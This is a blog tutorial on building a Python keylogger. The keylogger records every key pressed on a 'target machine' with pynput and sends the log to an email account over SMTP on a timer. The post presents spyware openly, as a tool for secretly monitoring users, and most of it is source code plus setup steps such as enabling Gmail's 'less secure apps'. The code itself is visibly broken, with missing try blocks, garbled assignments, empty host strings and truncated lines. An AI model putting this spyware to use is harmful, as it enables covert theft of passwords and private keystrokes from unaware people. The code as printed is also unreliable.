Keylogger – log & send them to an email

Posted by

Keyloggers are programs or hardware devices that track a keyboard’s activities (keys pressed). Keyloggers are spyware where users are unaware their actions are being followed.

Creating a Python Keylogger

Log all the keys pressed on the target machine and send them to an email every minute, seconds or hours

You can use your dummy Gmail account to log the target machine

  • First Install Python and these libraries:
  1. Pynput
  2. Threading
  3. Smtplib
from pynput import keyboard
import threading
import smtplib

class Keylogger:
    def __init__(self, time, email, password):
        self.log = "[+] Keylogger has started"
        self.time_interval = time = email
        self.password = password

    def append_log(self, string):
        self.log = self.log + string

    def key_pressed(self, key):
            key_special = str(key.char)
        except AttributeError:
            if key ==
                key_special = " "
                key_special = " " + str(key) + " "

    def mail_sender(self, email, password, message):
        server = smtplib.SMTP("", 587)
        server.login(email, password)
        server.sendmail(email, email, message)

    def mail(self):
        self.mail_sender(, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.time_interval, self.mail)

    def launch(self):
        listener = keyboard.Listener(on_press = self.key_pressed)
        with listener:
2nd file
import keylogger

logger = keylogger.Keylogger(15, "mail", "pass") # Every 2 mins
  • Modify the and use your own dummy Gmail account
  • Active the “Less secure app” on your Gmail account here.



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.